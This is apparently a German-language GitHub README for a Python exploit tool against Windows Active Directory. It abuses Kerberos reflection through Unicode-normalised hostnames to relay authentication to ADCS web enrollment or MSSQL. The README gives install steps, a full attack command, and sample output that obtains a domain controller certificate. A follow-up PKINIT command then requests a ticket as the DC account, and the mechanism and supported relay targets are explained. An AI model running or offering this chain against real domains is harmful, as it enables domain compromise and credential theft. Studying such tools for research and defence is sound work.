
Nutzt Kerberos-Reflexion über Unicode-Normalisierung in Windows Active Directory aus, um die Authentifizierung an ADCS und MSSQL weiterzuleiten und so eine zertifikatsbasierte Privilegienausweitung zu ermöglichen.

Python-Tool zur Ausnutzung von Kerberos-Reflection über Unicode-Normalisierung in Windows Active Directory. Basierend auf Forschung von Guillaume André / Synacktiv.
Diese Tools sind nur mit Python 3.8+ kompatibel. Klone das Repository von GitHub, installiere die Abhängigkeiten und schon kann es losgehen:
git clone https://github.com/jarnovandenbrink/CVE-2026-26128.git
cd CVE-2026-26128
pip install -r requirements.txt
python3 CVE-2026-26128.py contoso.com/john:password -t http://contoso-dc.contoso.com/certsrv/certfnsh.asp -l 192.168.1.80 -dc-ip 192.168.1.10
[*] Connecting to LDAP on 192.168.1.10
[*] LDAP connection established
[*] Adding DNS record: cⓞntoso-dc.contoso.com
[*] Waiting for DNS propagation... 180s
[*] DNS propagation complete
[*] Setting up SMB Server
[*] SMBD: Received connection from 192.168.1.10
[*] HTTP server returned status code 200, treating as a successful login
[*] [+] Attack worked!
[*] Certificate will be written to: /path/to/CONTOSO-DC.pfx
[*] To request a TGT using PKINIT run:
python3 gettgtpkinit.py contoso.com/CONTOSO-DC$ -cert-pfx /path/to/CONTOSO-DC.pfx -dc-ip 192.168.1.10 out.ccache
[*] GOT CERTIFICATE! ID 16
[*] Writing PKCS#12 certificate to ./CONTOSO-DC.pfx
[*] Certificate successfully written to file
Alternativ kann dieser Angriff gegen ADCS-Webregistrierung und MSSQL durchgeführt werden. Beachte, dass für Kerberos-Relaying zu MSSQL der SQL Server als Maschinenkonto ausgeführt werden muss. Andernfalls wird die AP-REQ nicht mit dem richtigen Schlüssel entschlüsselt.
Dieses Tool nutzt die Art und Weise aus, wie Windows Unicode-Zeichen bei der Auflösung von SPNs normalisiert. Der DnsCache-Dienst verwendet CompareStringW mit NORM_IGNORECASE, das ⓢⓡⓥ1․ⓐⓓ․ⓛⓞⓒⓐⓛ anders behandelt als srv1.ad.local, was dazu führt, dass eine DNS-Anfrage gesendet wird. Der Domain Controller hingegen verwendet LCMapStringEx mit den Normalisierungsflags 0x31403. Durch das Registrieren eines DNS-Eintrags für den Unicode-Hostnamen und dessen Weiterleitung an den Angreifer-Rechner kann die AP-REQ an jeden Dienst weitergeleitet werden, der keine Channel Binding oder Kommunikationsintegrität erzwingt.
Unterstützte Relay-Ziele sind ADCS-Webregistrierung und MSSQL. Die Unterstützung für SCCM AdminService ist geplant. Beachte, dass SMB-Relay auf Systemen, die mit dem Patch Tuesday-Update vom März 2026 gepatcht wurden, nicht mehr möglich ist.